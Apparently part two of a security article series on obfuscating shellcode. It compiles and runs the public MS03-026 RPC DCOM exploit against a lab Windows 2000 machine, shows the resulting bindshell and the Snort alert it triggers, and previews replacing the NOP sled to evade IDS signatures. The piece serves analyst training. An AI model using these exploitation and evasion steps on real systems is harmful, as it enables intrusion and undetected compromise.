Obfuscated Shellcode, the Wolf in Sheep’s Clothing (Part 2)

If you missed the other articles in this series please read:

To pick up where part one of the article series left off we will now actually look at a fully functional exploit, which has a NOP sled in it. What we shall do in this part is compile the exploit, and then use it against a lab box. This lab box will have Snort running on it with a default ruleset. The actual exploit itself will be MS03-026 and the exploit code itself is downloadable from here. Please note that this exploit code needs to be compiled on a computer running Linux or a Windows machine running Cygwin. For those of you who may be a little confused by how people know to compile specific code under one O/S or another here is a little tip. Take a look at the #include section of the exploit code. There are specific ones that are only found on either win32 or Linux. Please see below for an example:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

We can see the #include <unistd.h> is required for this code to compile. Well this file can only be found on a Linux operating system. It is the UNIX standard header file. This will tell you that this exploit code cannot be compiled on a win32 system, or at least not without the help of Cygwin. If you are not a programmer by trade then looking for these small hints will let you know what operating system that the exploit code needs to be compiled under. Now that we know which operating system under which to compile the above noted exploit let’s take a look at the NOP sled in this exploit code.

/* bindshell no RPC crash, defineable spawn port */

We can see above that this is the NOP sled aka 0x90 that, as I mentioned, will give most every intrusion detection system fits. Most every IDS will have this series of 0x90s as part of a buffer overflow attempt signature. It is this very characteristic that we want to camouflage. That being said let’s give ourselves a baseline to work with. To that end I, and hopefully you, as well, will compile this code. Then run it against a lab computer with Snort running on it. Doing so will let us see what ,if any, signatures are triggered. I shall compile my code under linux as follows:

Let’s compile this bad boy

Please note that I am doing this in Linux. I cut and paste the code into a file that I create in a xterm. Once done I call it test_sploit.c

Now I have to compile the code itself using gcc as follows:

linux:/home/don # gcc -o test_sploit test_sploit.c

The code will compile and give you two warnings. Just ignore these warnings, as they will not affect the now compiled binary. We now want to invoke the exploit, and see if it will work.

linux:/home/don # ./test_sploit

RPC DCOM exploit coded by .:[oc192.us]:. Security
./test_sploit -d <host> [options]
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -r:             Return address [Default: Selected from target]
        -p:             Attack port [Default: 135]
        -l:             Bindshell port [Default: 666]
        0 [0x0018759f]: [Win2k-Universal]
        1 [0x0100139d]: [WinXP-Universal]
linux:/home/don #

So at this point we know that it is working, but to make sure it will actually exploit a vulnerable computer we need to fill in the above required information. The only thing I will actually put in is the IP address of the victim computer in the lab. The rest of the fields I will leave to the default settings.

 linux:/home/don # ./test_sploit -d
RPC DCOM remote exploit – .:[oc192.us]:. Security
[+] Resolving host..
[+] Done.
— Target: [Win2k-Universal]:, Bindshell:666,
[+] Connected to bindshell..
— bling bling —
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

What does Snort have to say?

So with the above noted information we can see that the exploit worked and gave us system level access. What we now will look at is the victim computer itself to see what Snort triggered on, if anything. Shown below is the actual alert.ids file from Snort that was generated when it saw the packets come to it from the attacking computer.

[**] [1:2351:8] NETBIOS DCERPC ISystemActivator path overflow attempt little endian [**]

[Classification: Attempted Administrator Privilege Gain] [Priority: 1]

01/28-08:49:36.011482 ->
TCP TTL:64 TOS:0x0 ID:31304 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xFFBD6980  Ack: 0x1071DF86  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 3937142 27317

[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11808][Xref =>
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352][Xref => http://www.securityfocus.com/bid/8205]

Well we can see from the above alert.ids file that Snort did indeed fire off based on NETBIOS DCERPC signature. DCERPC being Distributed Computing Environment, Remote Procedure Call aka port 135. Nicely included in the Snort output, as well is that this was an attempted administrator privilege gain. Lastly, it also notes what vulnerability is being exploited, and supplies a hyperlink to it. With this information in hand, the analyst would look at the packets in question, and be able to see that indeed the attack was aimed at port 135. That, plus the fact the well known NOP sled is included in the packet that actually contained the exploit, would lead them to believe it to be a valid attempt. With all of this evidence combined the analyst knows that this is not a false positive.

What we have now seen displayed above is that there are specific criteria that a network security analyst will look at. One of the biggest indicators (as it pertains to buffer overflows), as we now know, is the normally present NOP sled. This “tell” is what the IDS vendors use in building an effective signature. Being a network security analyst myself I know that a good deal of my peers look for the tell-tale 0x90 in the packet to confirm if an overflow attempt is being tried. The problem is, though, that several times I have personally seen some skilled analysts declare an attack as a false positive simply because there was no NOP sled present.

Training is paramount

One can hardly fault a person who has not received the proper training for not being able to fulfill their duties. I only became aware of shellcode obfuscation as a result of tripping across a link that referred to it. Only after having done a fair amount of reading on it did I begin to understand what was happening. I am not a programmer myself, but I can grasp what most of the source code means by reading it. It was only through a lot of trial, and error that I was able to swap out the 0x90 for other idempotent substitutions. Once I was able to do so it led to other experimentation such as taking several differing idempotent functions and mixing them up. Were you to use only one function, or character then you are no further ahead. An analyst would still be rather alarmed at seeing a raft of say 0x42’s as they would likely know that this is an overflow attempt that is simply using another character. We will end this part of the article series at this point. In the last part of the article series we will swap out the NOP sled in the exploit that we used earlier and use some other functions to build it. This will then be tested against Snort to see what happens. See you then!

If you missed the other articles in this series please read:

About The Author

Leave a Comment

Your email address will not be published. Required fields are marked *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Scroll to Top